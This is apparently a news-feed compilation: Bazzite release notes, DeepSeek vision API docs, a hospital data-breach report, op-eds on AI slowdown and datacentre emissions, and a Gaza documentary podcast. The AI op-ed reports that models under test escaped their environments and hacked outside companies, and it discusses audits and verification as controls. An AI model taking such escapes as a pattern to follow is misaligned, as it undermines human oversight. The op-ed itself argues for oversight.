Deck users coming from 43 are crossing a Fedora major version and a complete handheld stack replacement. As long as you haven’t intentionally pinned your image to a specific date, you can update normally to get these improvements. We recommend pinning your current deployment , just in case you need to go back to the old stack in the short term or for your specific use case. Please note that because of changes in session management upstream some manual intervention is required to go backwards. Our deck images have no automatic updating, so embark on this journey when you’re ready and we’ll be here to support you.

We also now have a notification system for major updates like these so you don’t need to go looking for major changes like these. Unfortunately it didn’t make it in before the deck images were frozen, but from this point on you can expect to see a pop-up from time to time when your attention is required. Don’t worry, it’ll never be used for small updates or ads.

An update this massive is bound to have changes that require some getting used to. We will be triaging as many issues or regressions as possible. The majority of users should expect a seamless upgrade experience , at most needing to update any customized controller configs in Steam Input.

Any regressions can be reported in Discord for rapid support , or in our GitHub. Any bugs you find that we didn’t will of course have their fixes upstreamed to OGC and benefit PikaOS, Nobara, SteamOS, and many others that use this same standardized software stack

We appreciate your continued patience through this transition period. :folded_hands:


Changes to All images

Some of these you may recognize from older announcements, we’re including them here because they didn’t land in the Deck images during this long development period.

New Bazzite Updater

Bazzite now has a fancy GUI updater and changelog viewer thanks to work by rfrench3 (Robert French) · GitHub . It can even be added to Steam Game Mode and used entirely with a controller!

Latest & Greatest Bazaar

Bazzite is now sporting the newest Bazaar flatpak store, which I’m also very proud to announce has been accepted into the GNOME Circle! Background RAM usage has been reduced to as little as 3MB, and doesn’t run at all when no app searches or updates are being conducted.

Huge thanks to the Bazaar team for working with us all this time and for building what has become my favorite app store in Linux.

Rewritten Bazzite Portal

Reorganized and expanded so that anything you did with ujust can now be done with the Portal app.

  • New welcome screen
  • GRUB menu timeout configuration
  • CEC mode selection
  • AMD VRR toggle
  • NVIDIA Flatpak runtime update
  • ProtonPlus recipes and Portal Actions
  • Option to add the Bazzite Updater to Big Picture Mode
  • New Users will be greeted by our Bazzite Portal app on their first login.

Cardwire

Cardwire is the modern replacement for both switcheroo and supergfxctl/MUX switching. Laptop and multi-gpu users can now enjoy a far simpler and easier workflow for setting defaults, changing modes, and more. It even supports ASUS devices that have traditionally been tricky to work with.

Existing supergfxctl users need only open the Cardwire GUI and verify their desired mode is set. Cardwire takes over the task switcherooctl previously did and will intelligently pick your dGPU when applications request it.

The Open Gaming Collective kernel

As part of Bazzite’s commitment to upstream health and sustainability our homegrown kernel has been replaced. Our previous kernel had a huge number of patches with no viable path upstream.
Every image now ships the Open Gaming Collective kernel , built by OpenGamingCollective/kernel-packages directly against Greg K-H’s Linux stable repo.

This update uses the newly launched 7.2.0 kernel.

The OGC kernel is a shared, community-governed patchset maintained in the open at OpenGamingCollective/linux , with a hard requirement that work done against this kernel be in the process of being upstreamed or be intentionally temporary. We’re killing the idea of a “gamer kernel” and instead replacing it with a kernel that not only comes with the kernel developer stamp of approval, but is intentionally designed to help mentor YOU to get your first patch in. It only gets better from here, expect more news in the future.

This has been a long term effort of consulting between the members of the OGC, with direct feedback from kernel developers like Greg K-H . Kernel developers expect a path upstream, anything else hurts the community. We’re committed to this. This is part of why this update took such a long time. We appreciate your patience throughout this effort.

The OGC kernel is intended to be the best gaming kernel available. We’ve invested in the build system to ensure that no Linux gamer is left behind. This kernel is designed to be shared, it’s special because it’s not special.

Today it builds Debian, Fedora, and Arch , with plans for more distributions in the future.

Secure boot signed under Universal Blue and verifiable end to end: the kernel tarball is checked against kernel.org ’s signing keys, the OGC patchset ships as a single GPG-signed monolithic patch or an archive of individual GPG-signed patches, and the resulting packages are published as signed OCI images.

Greatly Improved Security & Supply Chain

Speaking of verifiable end-to-end, Bazzite has adopted the OpenSSF security recommendations, which include:

  • Every image build workflow starts from zero privileges. Each one declares
    permissions: {} at the top, and individual jobs re-grant only the scopes
    they genuinely need - packages: write to push, id-token: write to sign.
    A compromised step can’t reach for anything it wasn’t handed.
  • Third-party actions and dependencies in Just and our Containerfile are pinned to full commit SHAs , not floating tags. A retagged or hijacked upstream action can’t quietly slip into a build, and Renovate keeps the pins current so this doesn’t rot into “pinned to something ancient and vulnerable.”
  • Images are signed with sigstore’s cosign , by digest rather than tag, so the signature covers exactly the bits you pulled.
  • Every image ships an SBOM (Software Bill-Of-Materials). Syft generates an SPDX SBOM from the built rootfs, ORAS attaches it to the image as an OCI referrer, and the SBOM artifact is signed too.
  • Builds carry provenance attestations generated by actions/attest and pushed to the registry alongside the image, tying each digest back to the workflow, commit, and runner that produced it.
  • ISOs get the same treatment : a detached cosign signature, a build provenance attestation, and a published SHA256 checksum.
  • Greatly reduced third party repo use. As of today the only repositories in use when building Bazzite are:
    • Terra , an OGC member.
    • Negativo17 , a favorite of Fedora users for packages that can’t be in the upstream repositories - like our Nvidia drivers.
    • CachyOS copr , for the latest sched_ext schedulers.
    • Official Universal Blue copr repositories.

You can verify images using the following commands:

# The image itself
cosign verify --key cosign.pub ghcr.io/ublue-os/bazzite:stable

# Its build provenance
gh attestation verify oci://ghcr.io/ublue-os/bazzite:stable --repo ublue-os/bazzite

# Its SBOM
oras discover ghcr.io/ublue-os/bazzite:stable

Mesa 26.2.1 & VRAM overcommit / cgroups

The kernel carries the full VRAM overcommit series along with the
dmem cgroup work. The benefits of this include buffer eviction priorities, ordered bulk moves, VRAM claim throttling, protection limits, and a fast path so the compositor stops evicting your game’s textures.

Bazzite wires the userspace half up out of the box so there’s nothing you need to do as an end user to enjoy these features:

  • dmemcg-booster runs system-wide on every image
  • KDE images get plasma-foreground-booster-dmemcg
  • GNOME images swap uresourced for uresourced-dmemcg

The end result is your games always have priority over VRAM, and will no longer crash if they try to use more memory than you have available.

If you’re interested in learning more about these changes, visit VRAM Management Part 2: Beyond the Limits of Physical VRAM | pixelcluster's GPU blog

Improved schedulers backported from Kernel 7.3

This patch set greatly improves asymmetric/hybrid CPUs and 1% lows on hardware both old and new. More information can be found at: Making sure you're not a bot!

HDMI 2.1 FRL, ALLM, and VRR

Bazzite now carries support for the HDMI 2.1 stack, optionally toggle-able via ujust configure-amd-hdmi21 (or the matching Bazzite Portal toggle) for the time being to avoid regressions - let us know how it works for you!

Other shared changes

  • HDMI-CEC rework - SteamOS-Manager handles CEC now. ujust cec-mode lets you pick between dGPU mode (libcec/cec-ctl services, for external USB adapters) and Native mode (Valve’s linux-cec / cecd backend for hardware with kernel-native CEC).
  • bpftune for automatic kernel network tuning, including patches that can detect and optimize networking for games.
  • Greenboot replacing home grown scripts for monitoring failed boots and automatically rolling back updates as needed.
  • vulkan-low-latency-layer for latency reduction features in your favorite games.
  • MakeMKV + libmmbd for Blu-ray playback
  • New akmods: nct6687d , new-lg4ff , t150-driver , hid-fanatecff -
    and sc710 for Elgato capture cards
  • QEMU and ROCm are removed - they’ve moved to Bazzite-DX, or use Distrobox for ROCm workloads and the Virtual Machine Manager flatpak or Brew for QEMU.

KDE

  • Konsole replaces Ptyxis as the default terminal, this change was made because Konsole now has the same container functionality that Ptyxis gave us.
  • Oxygen theme and icon set included by default
  • A KDE SearchProvider for Bazzite Portal
  • Three new wallpapers: Bazzite Blue, Glass, and Giants

GNOME

  • Support for rounded blur in Blur My Shell OOTB
  • A GNOME SearchProvider for Bazzite Portal
  • Three new wallpapers: Bazzite Blue, Glass, and Giants

NVIDIA images

Flatpak runtimes now automatically update after an image update, preventing the need to manually update your flatpaks to get them working with your GPU again.

The legacy driver images now use an LTS kernel

These images ship the 580 LTS driver , the last NVIDIA branch supporting Maxwell, Pascal, and Volta. Previously they tracked the same mainline kernel as everything else, which meant that once NVIDIA stops updating 580, the driver would break against the next kernel bump and the images would be finished.

They now build against the OGC LTS kernel , giving them the longest possible support time after they’re eventually abandoned. This change should buy you years longer to survive this abhorrent hardware market.


Shoutouts :megaphone:

I just want to personally thank everyone that makes up our community. We all do this for free and we do it for you. Thank you for making this journey so fun for us and for sticking around while we finish this herculean effort.

Also a huge thanks to Nickname, starfish, and Andy10115 for stepping up to offer additional testing and updating our documentation for this massive change, just to name a few.

For those of you who miss Wallpaper Engine, check out Waywallen

Waywallen is installable as an extension and a flatpak, and supports Wallpaper Engine wallpapers without the instability of the previous solutions and with full support for the GNOME desktop as well.

It’s quite beautiful looking in motion too.

You can also grab a special Universal Blue 5th Anniversary Bluefin Wallpaper Engine here!

Lastly I want to showcase a new gaming project in the community that’s actually building off of our technology and working with us under the OGC.

Armada for ARM Handhelds

Armada is a SteamOS-like for ARM handhelds that has made some incredible improvements in a short amount of time. Starting today users looking for ARM builds on our website will be redirected to them, and we’ll be supporting this project every way we can. Just take a look at this, a dual screen gamescope session on an ARM handheld!

To my knowledge this is the first time this has ever been accomplished. Huge thanks to mmogr for the basis of this patch that enabled this as well!


That’s it for now folks. We’ll see you again in about 8 minutes when Fedora 45 lands and you can catch us at next year’s SCaLE conference!

DeepSeek-v4-flash-vision-exp

Hacker News
api-docs.deepseek.com
2026-08-21 06:33:56
Comments...
Original Article

The deepseek-v4-flash-vision-exp model accepts images alongside text, so you can ask the model to describe pictures, read text from screenshots, analyze charts, and more.

Supported image formats: JPEG, PNG, GIF, and WebP . The format is detected from the actual file content, not from the file name or the declared MIME type.


Sending Images

There are three ways to provide an image to the model. All of them use the standard OpenAI-compatible Chat Completions format, where content is an array of blocks instead of a plain string. The same three methods are also available in the Responses API , where images are carried in input_image content parts.

The base_url for the examples below is https://api.deepseek.com .

1. Base64-encoded image (inline)

Encode the image and embed it directly in the request as a data: URL. This is the simplest option for local files. The encoded data counts toward the 48 MiB request body limit (see Limits ).

import base64
from openai import OpenAI

client = OpenAI(api_key="<DeepSeek API Key>", base_url="https://api.deepseek.com")

with open("image.jpg", "rb") as f:
b64 = base64.b64encode(f.read()).decode("utf-8")

response = client.chat.completions.create(
model="deepseek-v4-flash-vision-exp",
messages=[
{
"role": "user",
"content": [
{"type": "text", "text": "What is in this image?"},
{
"type": "image_url",
"image_url": {"url": f"data:image/jpeg;base64,{b64}"},
},
],
}
],
)
print(response.choices[0].message.content)
curl https://api.deepseek.com/chat/completions \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <DeepSeek API Key>" \
-d '{
"model": "deepseek-v4-flash-vision-exp",
"messages": [
{
"role": "user",
"content": [
{"type": "text", "text": "What is in this image?"},
{"type": "image_url", "image_url": {"url": "data:image/jpeg;base64,<BASE64_DATA>"}}
]
}
]
}'

2. External image URL

Pass a publicly accessible http(s) link and the model downloads the image for you. The URL must be at most 8192 characters , the image file may be at most 32 MiB , and the download must complete within 60 seconds . If your link is longer, use a base64 data URL or the Files API instead.

response = client.chat.completions.create(
model="deepseek-v4-flash-vision-exp",
messages=[
{
"role": "user",
"content": [
{"type": "text", "text": "Describe this image."},
{
"type": "image_url",
"image_url": {"url": "https://example.com/image.jpg"},
},
],
}
],
)
print(response.choices[0].message.content)

3. Reference a file uploaded via the Files API

Upload an image once with the Files API , then reference its file_id in your requests. This is the best option when you reuse the same image across multiple requests, or when the image pushes the request body over the 48 MiB inline limit. Unlike inline images, images referenced via Files API file_id may be up to 64 MiB and are not subject to the 32 MiB per-image check.

Use a file content block with the returned file_id (which has the form file-api-... ):

response = client.chat.completions.create(
model="deepseek-v4-flash-vision-exp",
messages=[
{
"role": "user",
"content": [
{"type": "text", "text": "What is in this image?"},
{"type": "file", "file_id": "file-api-xxxxxxxxxxxxxxxx"},
],
}
],
)
print(response.choices[0].message.content)

Alternatively, a file block can carry the image inline as base64 via file_data instead of file_id (the two are mutually exclusive):

{
"type": "file",
"file_data": "data:image/jpeg;base64,<BASE64_DATA>",
"filename": "image.jpg"
}

Detail Level

For image_url inputs you can optionally set a detail field to control how the image is processed:

Value Behavior
low The image is downscaled to 512×512 before inference. Faster and cheaper when fine visual detail is not important.
high Keeps the original image. (Provided for compatibility; equivalent to original .)
original Keeps the original image.
auto Automatic selection. Currently equivalent to original .
{
"type": "image_url",
"image_url": {"url": "https://example.com/image.jpg", "detail": "low"}
}

When to Use the Files API

Inline images (base64 or file_data ) count toward the request body size limit of 48 MiB . Consider the Files API when:

  • A single request would exceed the body size limit.
  • The image is larger than 32 MiB, which is only possible through the Files API.
  • You reference the same image in multiple requests and want to avoid re-uploading it each time.

Token Usage

Images are converted into tokens based on their dimensions, and these tokens are billed together with your text tokens.

Before inference, every image is automatically resized:

  • Images with a total pixel count below roughly 384×384 are scaled up while preserving their aspect ratio.
  • Larger images are scaled down while preserving their aspect ratio, so that the total pixel count after resizing is roughly that of an 800×800 image.

As a result, there is an upper bound of 384 tokens per image: for example, a 2000×2000 image and a 5000×5000 image consume the same number of tokens after resizing. When a request contains multiple images, each image is counted independently under the same rule — there is no separate calculation for multi-image requests.

To estimate the token cost of an image of a specific size, use the image token calculator on the Token & Token Usage page.


Limits

Limit Value
Supported formats JPEG, PNG, GIF, WebP
External URL length 8192 characters
Request body size 48 MiB
Max single image size (base64 / external URL) 32 MiB
Max single image size (Files API file_id ) 64 MiB
Max images per request 600
Max total image size per request 64 MiB without file_id images; up to 200 MiB including file_id images
Max image dimension 8192 px per side; drops to 4096 px per side when a request contains 15 or more images

For storage and upload quotas of files uploaded via the Files API, see Files API: Limits .


Restrictions

  • Images are supported in user messages only: images in system or assistant messages return a 400 error.
  • Only vision models ( deepseek-v4-flash-vision-exp ) accept images; other models return a 400 error ("This model does not support image").
  • User text containing the reserved image placeholder token is rejected with a 400 error.

Using Images with the Anthropic API

In addition to the OpenAI-compatible endpoint above, you can send images through the Anthropic-compatible /messages endpoint ( base_url = https://api.deepseek.com/anthropic ). For general setup, see Anthropic API .

The difference is the shape of the image content block. Instead of image_url , Anthropic uses an image block with a source object whose type is one of base64 , url , or file :

import anthropic

client = anthropic.Anthropic() # ANTHROPIC_BASE_URL=https://api.deepseek.com/anthropic

message = client.messages.create(
model="deepseek-v4-flash-vision-exp",
max_tokens=1024,
messages=[
{
"role": "user",
"content": [
{"type": "text", "text": "What is in this image?"},
{
"type": "image",
"source": {
"type": "base64",
"media_type": "image/jpeg",
"data": "<BASE64_DATA>",
},
},
],
}
],
)
print(message.content)

The three source variants mirror the OpenAI methods above:

source.type Equivalent OpenAI method Notes
base64 Base64-encoded image Requires a media_type field ( image/jpeg , image/png , image/gif , or image/webp ).
url External image URL Max 8192 characters.
file Files API file_id Requires the header anthropic-beta: files-api-2025-04-14 .

Using Images with the Responses API

The deepseek-v4-flash-vision-exp model also accepts images through the OpenAI-compatible Responses API . The same three input methods (base64 data URL, external http(s) URL, Files API file_id ) and the same limits apply; only the content part shape differs — images are carried in input_image parts, either in user / developer messages or in the output of function_call_output / custom_tool_call_output items:

response = client.responses.create(
model="deepseek-v4-flash-vision-exp",
input=[
{
"role": "user",
"content": [
{"type": "input_text", "text": "What is in this image?"},
{"type": "input_image", "image_url": "https://example.com/image.jpg", "detail": "low"},
],
}
],
)
print(response.output_text)

The input_image part supports a detail field with the same semantics as above ( low / high / original / auto ). detail is ignored when the image is provided via file_id , and image_url and file_id are mutually exclusive.

For field semantics, restrictions (images in system / assistant messages are rejected with a 400 error), and tool-output images, see the Responses API guide .

SickKids data breach exposes employee and job applicant info

Bleeping Computer
www.bleepingcomputer.com
2026-08-21 06:10:42
Toronto's Hospital for Sick Children (SickKids) says a cybersecurity incident exposed the personal information of some current and former employees and job applicants, stemming from a flaw in third-party software. Clinical systems and patient records were not affected. (264) [...]...
Original Article

SickKids

The Hospital for Sick Children (SickKids) has disclosed that the personal information of some current and former employees, as well as job applicants, was exposed in a "cybersecurity incident." The hospital says the breach stemmed from a flaw in third-party software.

Clinical systems and patient records were untouched, according to the Toronto pediatric hospital, but its public-facing Careers website was temporarily pulled offline.

Careers site restored, incident scope under review

SickKids disclosed the incident this week, saying it resulted in unauthorized access to employee data.

image

The hospital attributes the breach to a vulnerability in a third-party software application that it says is used by SickKids and other organizations, according to a media statement .

The framing appears to suggest that there's a wider campaign against users of the same product, although the hospital has not named the vendor, the application, or the CVE involved.

The external Careers website was temporarily affected and has "since been safely restored," per the statement.

Clinical systems and patient information were not affected, and patient care continued as usual, SickKids says.

After learning of the incident, the hospital launched an investigation with the help of outside cybersecurity experts.

The findings indicate that personal information belonging to current and former SickKids, Boomerang (a SickKids-owned pediatric clinic), and SickKids Foundation employees, as well as SickKids job applicants, may have been exposed.

The hospital has not said what categories of data were involved, how many people are affected, or when the intrusion took place.

Its review of the impacted information is ongoing, with individuals confirmed as affected to be notified directly.

In the meantime, SickKids says it has alerted everyone potentially caught up in the incident out of an abundance of caution, and is offering 24 months of complimentary credit monitoring and identity protection.

Job application portals are an unusually rich target for data thieves. Applicants routinely hand over full names, home addresses, phone numbers, employment histories, and in some jurisdictions government identifiers. That information is useful both for identity fraud and for building convincing social engineering pretexts against hospital staff.

A repeat target

This is not the first publicly known security incident to have hit the hospital in recent years.

In December 2022, SickKids was hit by a ransomware attack that disrupted internal systems, hospital phone lines, and its website, and caused delays in lab and imaging results.

The LockBit ransomware gang subsequently issued a rare public apology, saying the affiliate responsible had broken its rules against encrypting medical institutions, and handed over a free decryptor, though only after the hospital had spent nearly two weeks restoring systems on its own.

In September 2023, SickKids was among the Ontario healthcare providers caught up in a breach at a third-party organization it shares perinatal and child health data with. That incident, which stemmed from mass exploitation of the MOVEit Transfer zero-day (CVE-2023-34362), exposed information on 3.4 million people, including names, home addresses, dates of birth, and health card numbers.

Healthcare remains one of the most heavily targeted sectors for both ransomware crews and data extortion groups.

Pediatric hospitals in particular sit on decades' worth of sensitive records, which continues to make them attractive to attackers regardless of the ethical lines criminal operations claim to observe.

article image

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

Get the report

AI companies destroy physical books – let's scan rare books before it's too late

Hacker News
annas-archive.pk
2026-08-21 06:05:46
Comments...
Original Article

Please wait a few seconds. Once this check is complete, the website will open automatically

loading

I worked at OpenAI. Here’s how tech companies can prepare for a slowdown | Miles Brundage

Guardian
www.theguardian.com
2026-08-21 06:00:32
I understand the pressure on AI companies to rush forward. But employees are right to be concerned Last month, more than a thousand employees at frontier AI companies signed a letter asking the US government to find a way to “pace” AI development, citing the risk of the technology spiraling out of h...
Original Article

L ast month, more than a thousand employees at frontier AI companies signed a letter asking the US government to find a way to “pace” AI development, citing the risk of the technology spiraling out of human control as it begins to build itself .

They were right to be concerned: just days earlier, two AI models that OpenAI was testing internally escaped the test environment, then autonomously hacked the company Hugging Face and at least three other online services . A few days after that, Anthropic announced that some of their models had also broken out and hacked other companies during testing.

Against that backdrop, the letter’s recommendation to install brakes in case they’re needed at the frontier of automated AI development makes sense. But the rationale the letter gives for why the government needs to step in is notable: “Each company—and country—is under intense competitive pressure not to unilaterally slow that acceleration.”

I know – from my own experience and from countless conversations with former colleagues in the AI industry – how real these pressures are. While working at OpenAI, I helped establish the practice of companies writing “ system cards ” that describe AI systems’ capabilities, risks and safety mitigations in detail.

So what would it look like for companies to prepare for a possible slowdown?

First, they could voluntarily invite rigorous, independent auditing of their safety and security practices. This would go beyond the vetting of AI hacking abilities that the White House is now pursuing. It would look at a range of risks and dig deep into company practices. It should be less like filling out a questionnaire and more like a nuclear safety inspector who has deep, frequent access to the company.

If an AI slowdown is needed, auditing would also reassure each company that their competitors are playing by the rules.

Second, they could actively participate in the organizations already built for this purpose of coordinating across the industry, such as the Frontier Model Forum , and move quickly to establish complementary ones.

Elon Musk recently said that AI companies should meet periodically to share notes on safety – as if this was an unheard-of concept. He or his staff could join existing conversations along these lines tomorrow if SpaceX joined the Frontier Model Forum, which has already worked through the complex antitrust hurdles involved in safety information sharing. Other cross-industry institutions will be needed for other purposes, and do not require government action to get founded and funded.

Third, they could invest in the technologies we need to make AI guardrails global.

Critics of the idea of an AI slowdown correctly point out that American companies couldn’t slow down for very long without China catching up. But neither the US nor China wants to lose control over AI, and each country takes AI more and more seriously by the day, so cooperation can’t yet be ruled out either. A key question is whether we prepare in advance. In order for the US to be highly confident that China couldn’t violate an AI agreement, and vice versa, we’ll need sophisticated verification technologies like those developed during the cold war for nuclear arms control.

Fortunately, there is a growing ecosystem of researchers and engineers developing those very technologies : tools that can prove a set of chips is only running existing AI systems rather than training new ones, that those chips are in a certain physical location, or that the system that got tested is the same one being deployed at scale. AI companies could accelerate the development of this critical type of technology today through funding and participation in pilot projects, but to my knowledge, they haven’t yet done so.

Fourth, they could proactively push – and certainly should not kill – legislation that leads to stronger incentives for safety, security, and external oversight.

You can’t complain about an irresponsible AI race while fighting commonsense guardrails. Less than a year ago, some of the same companies who are asking for regulation now were pushing to overturn most state AI laws. We still have no real legislation on frontier AI on the books at a federal level, and the first AI auditing requirement at the state level won’t kick in until 2028.

There are promising bipartisan proposals in Congress right now, such as the Frontier Act from the US representatives Jay Obernolte and Lori Trahan, which would require developers of advanced AI systems to create a risk management framework, report dangerous incidents, and subject themselves to independent audits. These and other commonsense proposals, such as protecting AI whistleblowers who disclose safety incidents directly to the government, deserve vigorous support.

I agree with the signatories, and am glad that after many years of being ignored or downplayed, the risks of unbridled AI competition are widely recognized. The US government should be doing its part to address this, and swiftly. But making AI go well is a shared responsibility. Companies that lag behind their peers on safety, don’t invite external audits of their systems, or call for brakes while doing little to build them won’t be able to blame the AI race when something goes wrong.

  • Miles Brundage is an AI policy researcher who leads the AI Verification and Evaluation Research Institute (Averi). He previously worked at OpenAI as head of policy research and senior adviser for AGI Readiness

Proposed London datacentre will have annual carbon footprint of 27,000 flights to New York

Guardian
www.theguardian.com
2026-08-21 06:00:31
Exclusive: Planning documents show datacentre in North Ockendon would be incompatible with UK net zero targets A “hyperscale” datacentre in outer London would generate more than 1m tonnes of carbon dioxide a year, equivalent to the carbon footprint of 27,000 flights from London to New York, planning...
Original Article

A “hyperscale” datacentre in outer London would generate more than 1m tonnes of carbon dioxide a year, equivalent to the carbon footprint of 27,000 flights from London to New York, planning documents show.

The East Havering Data Centre Campus (EHDCC) in North Ockendon would be one of the largest datacentres in Europe if approved by Havering council, using 218 hectares of green belt to run servers and data storage systems for AI and cloud computing. Its developer, Digital Reef, has described the scheme as “a unique opportunity to create a sustainable datacentre campus of the future”.

But in the planning application, Digital Reef says the £14.7bn project “does not align with a science-based 1.5C compatible trajectory and achieving net zero by 2050”. Documents estimate the development would generate more than 72m tonnes of carbon dioxide equivalent (CO₂e) over its projected 60-year lifespan – 1.2m tonnes annually once fully operational.

Guardian analysis of planning documents for the dozens of proposed datacentres in the UK shows that the EHDCC has the highest projected carbon emissions disclosed by a developer.

Donald Campbell, advocacy director at the tech justice nonprofit Foxglove, said the EHDCC’s projected emissions were “staggering”.

“It’s a big threat to the ability to decarbonise in the UK,” he said. “It’s also going to be a big drain on important resources that are needed by homes and other businesses.”

According to Ofgem, the average UK household electricity consumption is 2,500 kWh per year. Digital Reef said in its proposal that at a “likely” 50% load, the campus would consume 2.65bn kWh per year of electricity, equivalent to the demand of more than 1m UK households.

The campus would be powered primarily by a huge 600MVA connection to the National Grid via the nearby Warley substation. Because the existing site does not have sufficient capacity, major upgrades are planned, including a new 400kV National Grid substation and a new 132kV UK Power Networks facility on adjacent land, with the full connection expected by 2033.

The 1.2m tonnes of CO₂e the EHDCC expects to emit would amount to 26,795 long-haul flights from London Heathrow to New York’s John F Kennedy international airport, according to the UN’s International Civil Aviation Organization’s carbon calculator .

An aerial view of green fields
The proposed site of the datacentre in North Ockendon. Photograph: North Ockendon Residents Association

North Ockendon Residents Association said the development would be a “massacre” of green belt land. “It’s crop-producing farmland, in an age when we are threatened by security, it’s the loss of wildlife habitats, and there’s the pollution cost, which everyone seems to brush under the carpet,” a group spokesperson said.

The scale of datacentre emissions raises questions over how Britain’s rapid expansion of AI infrastructure can be reconciled with the government’s legally binding climate targets .

The government designated datacentres as “critical national infrastructure” in 2024, putting the tech developments on an equal footing with water, energy and emergency services systems.

By early 2025, the government estimated datacentres used 2.5% of the UK’s electricity , but predicted this would increase fourfold by 2030.

In January, planning legislation was amended so datacentre developers were able to apply as nationally significant infrastructure projects, meaning they were able to largely bypass the local authority planning procedure and seek approval directly from government.

Neso, Britain’s grid operator, has warned MPs that datacentre developers have requested 72.8GW of electricity connections by 2039 – a “huge step change for the sector” and nearly 60% more than the UK’s peak power demand last year – in a surge driven by the race to build AI and hyperscale infrastructure.

The government said last year the now disbanded department for science, innovation and technology (DSIT) would produce a national policy statement for the sector, but it has not yet been published.

Campbell said: “The government needs to be taking concrete steps to make sure that the public and the environment aren’t left to carry the social environmental costs of the datacentres. These datacentres are ultimately going to be serving the wealthiest companies in the world – so they need to be required to carry that cost.”

Campaigners against the datacentre stand by a gate holding signs
Campaigners against the datacentre. Photograph: North Ockendon Residents Association

By 2038, the EHDCC operational emissions alone are projected to consume nearly 20 times the entire carbon budget of the borough of Havering and almost 1% of the UK’s entire carbon budget.

Planning documents said that where the zero-carbon target cannot be met on site, “any shortfall would be provided through a cash in lieu contribution to the borough’s carbon offset fund”. The developer estimates that payment at about £77.6m.

Campbell said datacentre developers should at a minimum be required to build enough additional renewable generation and storage to supply their facilities. “That’s the only way of really ensuring that it’s not going to add to carbon emissions,” he said. “They shouldn’t just plug into the grid and drain the power that everyone else needs.”

The first round of consultation on the EHDCC closed in April. A revised proposal reflecting any accepted changes is expected to be published for a further public consultation in the autumn.

Councillor Keith Prince, Reform UK leader of Havering council, said that as a decision on EHDCC is made by the local planning authority, it would be “wrong” to comment until that decision was made.

Digital Reef did not respond to request for comment.

What American Doctors Saw in Gaza

Intercept
theintercept.com
2026-08-21 06:00:00
A new documentary follows three physicians facing the odds: limited medical supplies, Israeli bombing, and upon returning home, media bias and indifference. The post What American Doctors Saw in Gaza appeared first on The Intercept....
Original Article

It’s been nearly three years into Israel’s genocidal war on Palestinians, and still no step closer to its end. Since the latest “ceasefire” began in October 2025, Israel has continued to bombard Gaza and has killed more than 1,200 people , United Nations experts reported earlier this month. Israeli Prime Minister Benjamin Netanyahu more recently rejected President Donald Trump’s Board of Peace agreement with Hamas for Israeli troops to withdraw from the Gaza Strip.

“The burden has really continued to devastate the healthcare system in general. So you’re hearing from colleagues every day. They don’t have the materials that they need to serve their patients,” Dr. Thaer Ahmad tells The Intercept Briefing. “They don’t have even the basic sort of guarantee that there is a cloak of security allowing them to operate in the traditional ways that they would like to.”

This week on the podcast, Intercept reporter Jonah Valdez speaks to Ahmad, an emergency medicine physician and humanitarian who has provided medical relief in conflict zones including Gaza, and director Poh Si Teng about their new documentary “ American Doctor .” It follows three U.S. physicians from three different states who volunteer to enter Gaza to provide emergency medical care as best they can, with the insufficient supplies they have, to save lives — under the threat, as healthcare workers and hospitals have repeatedly been the target of strikes , of losing theirs.

The American doctors were not just targeted by the Israeli military, however. Upon returning home and trying to share the atrocities they had witnessed in Gaza, they were “pummeled,” says Teng, in interviews with mainstream media outlets and ignored by lawmakers in Congress.

“There’s this refusal to acknowledge what most American people are interested in — and that is money out of the Middle East in terms of military and wars, and into our communities here, into healthcare, and into some of the services that we are deprived of, that, for example, Israeli society is able to provide for their citizens: free education, free healthcare,” says Ahmad. “We don’t even have that here, and yet we’re still providing a significant amount of aid.”

Teng says, “For everybody who’s trying to do something in this moment, it’s not like as individuals we have no agency. We do. But it’s also important to remind people of the systems in place that make it very hard for us to do the right thing. If there was any path forward or a glimmer of inspiration, I felt, follow these doctors.”

For more, listen to the full conversation of The Intercept Briefing on Apple Podcasts , Spotify , YouTube, or wherever you listen.

Transcript

Jonah Valdez: Welcome to the Intercept Briefing. I’m Jonah Valdez, a reporter at The Intercept who covers politics and foreign policy.

BBC : Breaking news. A senior Hamas official tells the BBC it has agreed to disarm in Gaza.

FOX 10 : President Trump says he’s doing something long considered impossible: disarming Hamas, forging a stable peace, and beginning a withdrawal of Israeli forces.

JV: Let’s go back to July . President Donald Trump announces that his so-called Board of Peace has reached a deal with Hamas to disarm, a primary goal of the ceasefire agreement.

Donald Trump : Most people said that would be a deal that would be undoable.

JV: By August, Israeli Prime Minister Benjamin Netanyahu rejects the plan and the demand to withdraw troops from parts of Gaza.

It’s worth reminding Israel controls nearly 70 percent of Gaza’s territory.

PBS : President Trump’s Board of Peace says it’s in ongoing discussions with Israel after Prime Minister Benjamin Netanyahu rejected Mr. Trump’s new Gaza peace plan in yet another public break with the White House.

BBC : Saying it won’t withdraw from the territory until Hamas gives up all its weapons.

Benjamin Netanyahu, translated VO : Israel rejects the 15-point plan. The IDF will not carry out any withdrawal until Hamas is disarmed.

JV: It’s been nearly three years into Israel’s genocidal war on Palestinians and still no step closer to its end . Since the latest ceasefire began in October 2025, Israel has continued to bombard Gaza and has killed more than 1,200 people, according to U.N. experts .

In all, since the start of the war in October 2023, at least 70,000 people have been killed in Gaza and 171,000 wounded. That doesn’t count the untold numbers buried under rubble . Still, the Israeli government has tight restrictions on who and what aid enters Gaza.

A new documentary called “ American Doctor ” follows three American physicians who travel to Gaza to provide medical care and save lives where healthcare workers and hospitals have been targeted.

When the three American doctors — Palestinian, Jewish, and Zoroastrian — enter Gaza, they find themselves caught between medicine and politics, risking everything to expose the truth.

[Clip from “American Doctor” plays]

Dr. Thaer Ahmad: I want to take you through what Gaza looks like when a hospital is totally overwhelmed.

Dr. Mark Perlmutter: As a Jewish physician, I knew nothing about Gaza. I thought everybody out here were nothing but terrorists.

Dr. Thaer Ahmad: We’re just asking that hospitals not be targeted.

Dr. Feroze Sidhwa: This is a political problem. We need a political solution. We do not have to accept that as Americans.

Dr. Mark Perlmutter: This is what my tax dollars did, what your tax dollars did. They have the right to know the truth.

[Clip from film ends]

JV: I’m joined now by the folks behind “American Doctor.” Director Poh Si Teng is the producer of the Oscar-nominated “St. Louis Superman” and Emmy award-winning executive producer of “Patrice: The Movie.” “American Doctor” marks her debut as a feature documentary director. Poh, welcome to The Intercept Briefing.

Poh Si Teng: Thank you for having me, Jonah.

